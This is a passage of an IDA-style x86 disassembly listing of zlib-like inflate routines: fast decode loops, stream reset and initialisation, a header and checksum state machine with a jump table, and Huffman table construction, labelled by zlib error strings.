		mov	eax, [ebp+arg_10]
		mov	esi, [eax+28h]


loc_4DCDA7:				; CODE XREF: sub_4DCBEB+1C5j
		mov	al, [esi]
		mov	[ecx], al
		inc	ecx
		inc	esi
		dec	[ebp+arg_0]
		jnz	short loc_4DCDA7
		jmp	short loc_4DCDEE
; ---------------------------------------------------------------------------


loc_4DCDB4:				; CODE XREF: sub_4DCBEB+1A8j
		mov	bl, [eax]
		mov	[ecx], bl
		mov	bl, [eax+1]
		inc	ecx
		inc	eax
		mov	[ecx], bl
		inc	ecx
		inc	eax
		sub	[ebp+arg_0], 2


loc_4DCDC5:				; CODE XREF: sub_4DCBEB+1E3j
		mov	bl, [eax]
		mov	[ecx], bl
		inc	ecx
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4DCDC5
		jmp	short loc_4DCDEE
; ---------------------------------------------------------------------------


loc_4DCDD2:				; CODE XREF: sub_4DCBEB+190j
		mov	bl, [eax]
		mov	[ecx], bl
		mov	bl, [eax+1]
		inc	ecx
		inc	eax
		mov	[ecx], bl
		inc	ecx
		inc	eax
		sub	[ebp+arg_0], 2


loc_4DCDE3:				; CODE XREF: sub_4DCBEB+201j
		mov	bl, [eax]
		mov	[ecx], bl
		inc	ecx
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4DCDE3


loc_4DCDEE:				; CODE XREF: sub_4DCBEB+1C7j
					; sub_4DCBEB+1E5j
		mov	esi, [ebp+arg_10]
		mov	[ebp+var_C], ecx
		jmp	short loc_4DCE0D
; ---------------------------------------------------------------------------


loc_4DCDF6:				; CODE XREF: sub_4DCBEB+8Cj
		shr	[ebp+arg_14], cl
		movzx	ecx, byte ptr [eax+1]
		mov	al, [eax+4]
		sub	edx, ecx
		mov	ecx, [ebp+var_C]
		inc	[ebp+var_C]
		dec	[ebp+var_10]
		mov	[ecx], al


loc_4DCE0D:				; CODE XREF: sub_4DCBEB+209j
		cmp	[ebp+var_10], 102h
		jb	short loc_4DCE41
		cmp	[ebp+var_4], 0Ah
		jb	short loc_4DCE41
		jmp	loc_4DCC42
; ---------------------------------------------------------------------------


loc_4DCE21:				; CODE XREF: sub_4DCBEB+120j
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		mov	dword ptr [edi+18h], offset aInvalidDistanc ; "invalid distance	code"
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_4DCE39
		mov	ecx, eax


loc_4DCE39:				; CODE XREF: sub_4DCBEB+24Aj
		mov	esi, [ebp+arg_10]
		push	0FFFFFFFDh
		pop	eax
		jmp	short loc_4DCE8B
; ---------------------------------------------------------------------------


loc_4DCE41:				; CODE XREF: sub_4DCBEB+229j
					; sub_4DCBEB+22Fj
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_4DCE52
		mov	ecx, eax


loc_4DCE52:				; CODE XREF: sub_4DCBEB+263j
		xor	eax, eax
		jmp	short loc_4DCE8B
; ---------------------------------------------------------------------------


loc_4DCE56:				; CODE XREF: sub_4DCBEB+A6j
		test	cl, 20h
		jz	short loc_4DCE70
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_4DCE6C
		mov	ecx, eax


loc_4DCE6C:				; CODE XREF: sub_4DCBEB+27Dj
		push	1
		jmp	short loc_4DCE8A
; ---------------------------------------------------------------------------


loc_4DCE70:				; CODE XREF: sub_4DCBEB+26Ej
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		mov	dword ptr [edi+18h], offset aInvalidLiteral ; "invalid literal/length code"
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_4DCE88
		mov	ecx, eax


loc_4DCE88:				; CODE XREF: sub_4DCBEB+299j
		push	0FFFFFFFDh


loc_4DCE8A:				; CODE XREF: sub_4DCBEB+283j
		pop	eax


loc_4DCE8B:				; CODE XREF: sub_4DCBEB+254j
					; sub_4DCBEB+269j
		mov	ebx, [ebp+arg_14]
		sub	[ebp+var_8], ecx
		mov	[esi+20h], ebx
		mov	ebx, ecx
		shl	ebx, 3
		sub	edx, ebx
		mov	[esi+1Ch], edx
		mov	edx, [ebp+var_4]
		add	ecx, edx
		mov	[edi+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, ecx
		sub	edx, [edi]
		mov	[edi], ecx
		mov	ecx, [ebp+var_C]
		add	[edi+8], edx
		mov	[esi+34h], ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4DCBEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DCEBD	proc near		; CODE XREF: sub_4DCF41+D4p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_4DCEFB
		mov	ecx, [eax+1Ch]
		cmp	ecx, edx
		jz	short loc_4DCEFB
		push	esi
		mov	[eax+14h], edx
		mov	[eax+8], edx
		mov	[eax+18h], edx
		mov	esi, [ecx+0Ch]
		push	edx
		neg	esi
		sbb	esi, esi
		push	eax
		and	esi, 7
		mov	[ecx], esi
		mov	eax, [eax+1Ch]
		push	dword ptr [eax+14h]
		call	sub_4DBB53
		add	esp, 0Ch
		xor	eax, eax
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4DCEFB:				; CODE XREF: sub_4DCEBD+Aj
					; sub_4DCEBD+11j
		push	0FFFFFFFEh
		pop	eax
		pop	ebp
		retn
sub_4DCEBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DCF00	proc near		; CODE XREF: sub_4DCF41+C9p
					; sub_4DD9F3+59p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_4DCF3B
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_4DCF3B
		cmp	dword ptr [esi+24h], 0
		jz	short loc_4DCF3B
		mov	eax, [eax+14h]
		test	eax, eax
		jz	short loc_4DCF28
		push	esi
		push	eax
		call	sub_4DC5B0
		pop	ecx
		pop	ecx


loc_4DCF28:				; CODE XREF: sub_4DCF00+1Dj
		push	dword ptr [esi+1Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		and	dword ptr [esi+1Ch], 0
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4DCF3E
; ---------------------------------------------------------------------------


loc_4DCF3B:				; CODE XREF: sub_4DCF00+9j
					; sub_4DCF00+10j ...
		push	0FFFFFFFEh
		pop	eax


loc_4DCF3E:				; CODE XREF: sub_4DCF00+39j
		pop	esi
		pop	ebp
		retn
sub_4DCF00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DCF41	proc near		; CODE XREF: sub_4DD02B+Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	loc_4DD023
		mov	al, [eax]
		cmp	al, ds:byte_4DF0A8
		jnz	loc_4DD023
		cmp	[ebp+arg_C], 38h
		jnz	loc_4DD023
		mov	esi, [ebp+arg_0]
		cmp	esi, edi
		jnz	short loc_4DCF7A
		push	0FFFFFFFEh
		jmp	loc_4DD025
; ---------------------------------------------------------------------------


loc_4DCF7A:				; CODE XREF: sub_4DCF41+30j
		cmp	[esi+20h], edi
		mov	[esi+18h], edi
		jnz	short loc_4DCF8C
		mov	dword ptr [esi+20h], offset sub_4DDA72
		mov	[esi+28h], edi


loc_4DCF8C:				; CODE XREF: sub_4DCF41+3Fj
		cmp	[esi+24h], edi
		jnz	short loc_4DCF98
		mov	dword ptr [esi+24h], offset sub_4DDA8C


loc_4DCF98:				; CODE XREF: sub_4DCF41+4Ej
		push	18h
		push	1
		pop	ebx
		push	ebx
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		cmp	eax, edi
		mov	[esi+1Ch], eax
		jnz	short loc_4DCFB2
		push	0FFFFFFFCh
		jmp	short loc_4DD025
; ---------------------------------------------------------------------------


loc_4DCFB2:				; CODE XREF: sub_4DCF41+6Bj
		mov	ecx, [ebp+arg_4]
		mov	[eax+14h], edi
		mov	eax, [esi+1Ch]
		cmp	ecx, edi
		mov	[eax+0Ch], edi
		jge	short loc_4DCFCA
		mov	eax, [esi+1Ch]
		neg	ecx
		mov	[eax+0Ch], ebx


loc_4DCFCA:				; CODE XREF: sub_4DCF41+7Fj
		cmp	ecx, 8
		jl	short loc_4DD01F
		cmp	ecx, 0Fh
		jg	short loc_4DD01F
		mov	eax, [esi+1Ch]
		shl	ebx, cl
		mov	[eax+10h], ecx
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		neg	eax
		sbb	eax, eax
		push	ebx
		not	eax
		and	eax, offset sub_4CCF6E
		push	eax
		push	esi
		call	sub_4DBBBF
		mov	ecx, [esi+1Ch]
		add	esp, 0Ch
		mov	[ecx+14h], eax
		mov	eax, [esi+1Ch]
		cmp	[eax+14h], edi
		jnz	short loc_4DD014
		push	0FFFFFFFCh


loc_4DD008:				; CODE XREF: sub_4DCF41+E0j
		pop	edi
		push	esi
		call	sub_4DCF00
		pop	ecx
		mov	eax, edi
		jmp	short loc_4DD026
; ---------------------------------------------------------------------------


loc_4DD014:				; CODE XREF: sub_4DCF41+C3j
		push	esi
		call	sub_4DCEBD
		pop	ecx
		xor	eax, eax
		jmp	short loc_4DD026
; ---------------------------------------------------------------------------


loc_4DD01F:				; CODE XREF: sub_4DCF41+8Cj
					; sub_4DCF41+91j
		push	0FFFFFFFEh
		jmp	short loc_4DD008
; ---------------------------------------------------------------------------


loc_4DD023:				; CODE XREF: sub_4DCF41+Dj
					; sub_4DCF41+1Bj ...
		push	0FFFFFFFAh


loc_4DD025:				; CODE XREF: sub_4DCF41+34j
					; sub_4DCF41+6Fj
		pop	eax


loc_4DD026:				; CODE XREF: sub_4DCF41+D1j
					; sub_4DCF41+DCj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4DCF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DD02B	proc near		; CODE XREF: sub_4DD9F3+35p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0Fh
		push	[ebp+arg_0]
		call	sub_4DCF41
		add	esp, 10h
		pop	ebp
		retn
sub_4DD02B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DD043	proc near		; CODE XREF: sub_4DD9F3+47p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	esi, eax
		push	edi
		jz	loc_4DD355	; default
		cmp	[esi+1Ch], eax
		jz	loc_4DD355	; default
		cmp	[esi], eax
		jz	loc_4DD355	; default
		cmp	[ebp+arg_4], 4
		push	0FFFFFFFBh
		pop	ebx
		mov	[ebp+arg_4], ebx
		jz	short loc_4DD076
		mov	[ebp+arg_4], eax


loc_4DD076:				; CODE XREF: sub_4DD043+2Ej
					; sub_4DD043+111j
		push	0Dh
		pop	edi


loc_4DD079:				; CODE XREF: sub_4DD043+8Aj
					; sub_4DD043+FAj ...
		mov	eax, [esi+1Ch]
		mov	ecx, [eax]
		cmp	ecx, edi	; switch 14 cases
		ja	loc_4DD355	; default
		jmp	ds:off_4DD36E[ecx*4] ; switch jump


loc_4DD08D:				; DATA XREF: _4:off_4DD36Eo
		mov	ecx, [esi+4]	; jumptable 004DD086 case 0
		test	ecx, ecx
		jz	loc_4DD27F
		dec	ecx
		inc	dword ptr [esi+8]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		mov	ebx, [ebp+arg_4]
		movzx	ecx, byte ptr [ecx]
		mov	[eax+4], ecx
		mov	eax, [esi+1Ch]
		mov	ecx, [eax+4]
		and	ecx, 0Fh
		inc	dword ptr [esi]
		cmp	cl, 8
		jz	short loc_4DD0CF
		mov	[eax], edi
		mov	dword ptr [esi+18h], offset aUnknownCompres ; "unknown compression method"


loc_4DD0C3:				; CODE XREF: sub_4DD043+A3j
					; sub_4DD043+237j
		mov	eax, [esi+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	short loc_4DD079
; ---------------------------------------------------------------------------


loc_4DD0CF:				; CODE XREF: sub_4DD043+75j
		mov	ecx, [eax+4]
		shr	ecx, 4
		add	ecx, 8
		cmp	ecx, [eax+10h]
		jbe	short loc_4DD0E8
		mov	[eax], edi
		mov	dword ptr [esi+18h], offset aInvalidWindowS ; "invalid window size"
		jmp	short loc_4DD0C3
; ---------------------------------------------------------------------------


loc_4DD0E8:				; CODE XREF: sub_4DD043+98j
		mov	dword ptr [eax], 1


loc_4DD0EE:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+4]	; jumptable 004DD086 case 1
		test	eax, eax
		jz	loc_4DD27F
		mov	ecx, [ebp+arg_4]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		mov	eax, [esi]
		mov	[ebp+arg_0], ecx
		mov	ecx, [esi+1Ch]
		push	1Fh
		movzx	ebx, byte ptr [eax]
		inc	eax
		xor	edx, edx
		mov	[esi], eax
		mov	eax, [ecx+4]
		shl	eax, 8
		add	eax, ebx
		pop	edi
		div	edi
		test	edx, edx
		jz	short loc_4DD142
		push	0Dh
		mov	ebx, [ebp+arg_0]
		pop	edi
		mov	[ecx], edi
		mov	eax, [esi+1Ch]
		mov	dword ptr [esi+18h], offset aIncorrectHeade ; "incorrect header	check"
		mov	dword ptr [eax+4], 5
		jmp	loc_4DD079
; ---------------------------------------------------------------------------


loc_4DD142:				; CODE XREF: sub_4DD043+DFj
		test	bl, 20h
		jnz	loc_4DD286
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [ecx], 7
		jmp	loc_4DD076
; ---------------------------------------------------------------------------


loc_4DD159:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		push	ebx		; jumptable 004DD086 case 7
		push	esi
		push	dword ptr [eax+14h]
		call	sub_4DBC4B
		mov	ebx, eax
		add	esp, 0Ch
		cmp	ebx, 0FFFFFFFDh
		jnz	short loc_4DD17E
		mov	eax, [esi+1Ch]
		mov	[eax], edi
		mov	eax, [esi+1Ch]
		and	dword ptr [eax+4], 0
		jmp	loc_4DD079
; ---------------------------------------------------------------------------


loc_4DD17E:				; CODE XREF: sub_4DD043+128j
		test	ebx, ebx
		jnz	short loc_4DD185
		mov	ebx, [ebp+arg_4]


loc_4DD185:				; CODE XREF: sub_4DD043+13Dj
		cmp	ebx, 1
		jnz	loc_4DD27F
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		lea	ecx, [eax+4]
		push	ecx
		push	esi
		push	dword ptr [eax+14h]
		call	sub_4DBB53
		mov	eax, [esi+1Ch]
		add	esp, 0Ch
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_4DD1B8
		mov	dword ptr [eax], 0Ch
		jmp	loc_4DD079
; ---------------------------------------------------------------------------


loc_4DD1B8:				; CODE XREF: sub_4DD043+168j
		mov	dword ptr [eax], 8


loc_4DD1BE:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+4]	; jumptable 004DD086 case 8
		test	eax, eax
		jz	loc_4DD27F
		dec	eax
		inc	dword ptr [esi+8]
		mov	ecx, [esi+1Ch]
		mov	[esi+4], eax
		mov	eax, [esi]
		mov	ebx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		shl	eax, 18h
		mov	[ecx+8], eax
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 9


loc_4DD1EC:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+4]	; jumptable 004DD086 case 9
		test	eax, eax
		jz	loc_4DD27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 10h
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 0Ah


loc_4DD21A:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+4]	; jumptable 004DD086 case 10
		test	eax, eax
		jz	short loc_4DD27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 8
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 0Bh


loc_4DD244:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+4]	; jumptable 004DD086 case 11
		test	eax, eax
		jz	short loc_4DD27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	ecx, [eax+4]
		cmp	ecx, [eax+8]
		jz	loc_4DD35D
		mov	[eax], edi
		mov	dword ptr [esi+18h], offset aIncorrectDataC ; "incorrect data check"
		jmp	loc_4DD0C3
; ---------------------------------------------------------------------------


loc_4DD27F:				; CODE XREF: sub_4DD043+4Fj
					; sub_4DD043+B0j ...
		mov	eax, ebx
		jmp	loc_4DD358
; ---------------------------------------------------------------------------


loc_4DD286:				; CODE XREF: sub_4DD043+102j
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [eax], 2


loc_4DD292:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+4]	; jumptable 004DD086 case 2
		test	eax, eax
		jz	short loc_4DD27F
		dec	eax
		inc	dword ptr [esi+8]
		mov	ecx, [esi+1Ch]
		mov	[esi+4], eax
		mov	eax, [esi]
		mov	ebx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		shl	eax, 18h
		mov	[ecx+8], eax
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 3


loc_4DD2BC:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+4]	; jumptable 004DD086 case 3
		test	eax, eax
		jz	short loc_4DD27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 10h
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 4


loc_4DD2E6:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+4]	; jumptable 004DD086 case 4
		test	eax, eax
		jz	short loc_4DD27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 8
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 5


loc_4DD310:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+4]	; jumptable 004DD086 case 5
		test	eax, eax
		jz	loc_4DD27F
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		push	2
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	ecx, [eax+8]
		mov	[esi+30h], ecx
		mov	dword ptr [eax], 6
		jmp	short loc_4DD357
; ---------------------------------------------------------------------------


loc_4DD342:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		mov	eax, [esi+1Ch]	; jumptable 004DD086 case 6
		mov	[eax], edi
		mov	eax, [esi+1Ch]
		mov	dword ptr [esi+18h], offset aNeedDictionary ; "need dictionary"
		and	dword ptr [eax+4], 0


loc_4DD355:				; CODE XREF: sub_4DD043+Dj
					; sub_4DD043+16j ...
		push	0FFFFFFFEh	; default


loc_4DD357:				; CODE XREF: sub_4DD043+2FDj
					; sub_4DD043+325j ...
		pop	eax


loc_4DD358:				; CODE XREF: sub_4DD043+23Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4DD35D:				; CODE XREF: sub_4DD043+228j
		mov	eax, [esi+1Ch]
		mov	dword ptr [eax], 0Ch


loc_4DD366:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		push	1		; jumptable 004DD086 case 12
		jmp	short loc_4DD357
; ---------------------------------------------------------------------------


loc_4DD36A:				; CODE XREF: sub_4DD043+43j
					; DATA XREF: _4:off_4DD36Eo
		push	0FFFFFFFDh	; jumptable 004DD086 case 13
		jmp	short loc_4DD357
sub_4DD043	endp

; ---------------------------------------------------------------------------
off_4DD36E	dd offset loc_4DD08D	; DATA XREF: sub_4DD043+43r
		dd offset loc_4DD0EE	; jump table for switch	statement
		dd offset loc_4DD292
		dd offset loc_4DD2BC
		dd offset loc_4DD2E6
		dd offset loc_4DD310
		dd offset loc_4DD342
		dd offset loc_4DD159
		dd offset loc_4DD1BE
		dd offset loc_4DD1EC
		dd offset loc_4DD21A
		dd offset loc_4DD244
		dd offset loc_4DD366
		dd offset loc_4DD36A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DD3A6	proc near		; CODE XREF: sub_4DBC4B+3C5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_10]
		push	4
		push	13h
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[ebp+arg_10], eax
		test	eax, eax
		jnz	short loc_4DD3CB
		push	0FFFFFFFCh
		pop	eax
		jmp	short loc_4DD422
; ---------------------------------------------------------------------------


loc_4DD3CB:				; CODE XREF: sub_4DD3A6+1Ej
		push	ebx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	0
		push	0
		push	13h
		push	13h
		push	[ebp+arg_0]
		call	sub_4DD425
		mov	ebx, eax
		add	esp, 28h
		cmp	ebx, 0FFFFFFFDh
		jnz	short loc_4DD3FD
		mov	dword ptr [esi+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
		jmp	short loc_4DD414
; ---------------------------------------------------------------------------


loc_4DD3FD:				; CODE XREF: sub_4DD3A6+4Cj
		cmp	ebx, 0FFFFFFFBh
		jz	short loc_4DD40A
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_4DD414


loc_4DD40A:				; CODE XREF: sub_4DD3A6+5Aj
		push	0FFFFFFFDh
		mov	dword ptr [esi+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
		pop	ebx


loc_4DD414:				; CODE XREF: sub_4DD3A6+55j
					; sub_4DD3A6+62j
		push	[ebp+arg_10]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	eax, ebx
		pop	ecx
		pop	ebx


loc_4DD422:				; CODE XREF: sub_4DD3A6+23j
		pop	esi
		leave
		retn
sub_4DD3A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DD425	proc near		; CODE XREF: sub_4DD3A6+3Fp
					; sub_4DD7AC+52p ...

var_F0		= dword	ptr -0F0h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0F0h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		mov	[ebp+var_74], edx
		mov	[ebp+var_70], edx
		mov	[ebp+var_6C], edx
		mov	[ebp+var_68], edx
		mov	[ebp+var_64], edx
		mov	[ebp+var_60], edx
		mov	[ebp+var_5C], edx
		mov	[ebp+var_58], edx
		mov	[ebp+var_54], edx
		mov	[ebp+var_50], edx
		mov	[ebp+var_4C], edx
		mov	[ebp+var_48], edx
		mov	[ebp+var_44], edx
		mov	[ebp+var_40], edx
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], edx
		mov	esi, edi


loc_4DD46B:				; CODE XREF: sub_4DD425+54j
		mov	eax, [ecx]
		add	ecx, 4
		inc	[ebp+eax*4+var_74]
		lea	eax, [ebp+eax*4+var_74]
		dec	esi
		jnz	short loc_4DD46B
		cmp	[ebp+var_74], edi
		jnz	short loc_4DD491
		mov	eax, [ebp+arg_14]
		mov	[eax], edx
		mov	eax, [ebp+arg_18]
		mov	[eax], edx


loc_4DD48A:				; CODE XREF: sub_4DD425+36Fj
					; sub_4DD425+379j
		xor	eax, eax


loc_4DD48C:				; CODE XREF: sub_4DD425+382j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4DD491:				; CODE XREF: sub_4DD425+59j
		mov	edi, [ebp+arg_18]
		push	1
		pop	ebx
		lea	eax, [ebp+var_70]
		mov	esi, [edi]
		mov	ecx, ebx
		mov	[ebp+arg_18], esi


loc_4DD4A1:				; CODE XREF: sub_4DD425+87j
		cmp	[eax], edx
		jnz	short loc_4DD4AE
		inc	ecx
		add	eax, 4
		cmp	ecx, 0Fh
		jbe	short loc_4DD4A1


loc_4DD4AE:				; CODE XREF: sub_4DD425+7Ej
		cmp	esi, ecx
		mov	[ebp+var_4], ecx
		jnb	short loc_4DD4B8
		mov	[ebp+arg_18], ecx


loc_4DD4B8:				; CODE XREF: sub_4DD425+8Ej
		push	0Fh
		lea	esi, [ebp+var_38]
		pop	eax


loc_4DD4BE:				; CODE XREF: sub_4DD425+A3j
		cmp	[esi], edx
		jnz	short loc_4DD4CA
		dec	eax
		sub	esi, 4
		cmp	eax, edx
		jnz	short loc_4DD4BE


loc_4DD4CA:				; CODE XREF: sub_4DD425+9Bj
		cmp	[ebp+arg_18], eax
		mov	[ebp+var_18], eax
		jbe	short loc_4DD4D5
		mov	[ebp+arg_18], eax


loc_4DD4D5:				; CODE XREF: sub_4DD425+ABj
		mov	esi, [ebp+arg_18]
		shl	ebx, cl
		cmp	ecx, eax
		mov	[edi], esi
		jnb	short loc_4DD4F6
		lea	esi, [ebp+ecx*4+var_74]


loc_4DD4E4:				; CODE XREF: sub_4DD425+CFj
		sub	ebx, [esi]
		js	loc_4DD61C
		inc	ecx
		add	esi, 4
		shl	ebx, 1
		cmp	ecx, eax
		jb	short loc_4DD4E4


loc_4DD4F6:				; CODE XREF: sub_4DD425+B9j
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+var_74]
		lea	ecx, [ebp+esi+var_74]
		sub	ebx, edi
		mov	[ebp+var_30], ebx
		js	loc_4DD61C
		add	edi, ebx
		mov	[ebp+var_B0], edx
		mov	[ecx], edi
		xor	ecx, ecx
		dec	eax
		jz	short loc_4DD530
		xor	edi, edi


loc_4DD51F:				; CODE XREF: sub_4DD425+109j
		add	ecx, [ebp+edi+var_70]
		add	edi, 4
		dec	eax
		mov	[ebp+edi+var_B0], ecx
		jnz	short loc_4DD51F


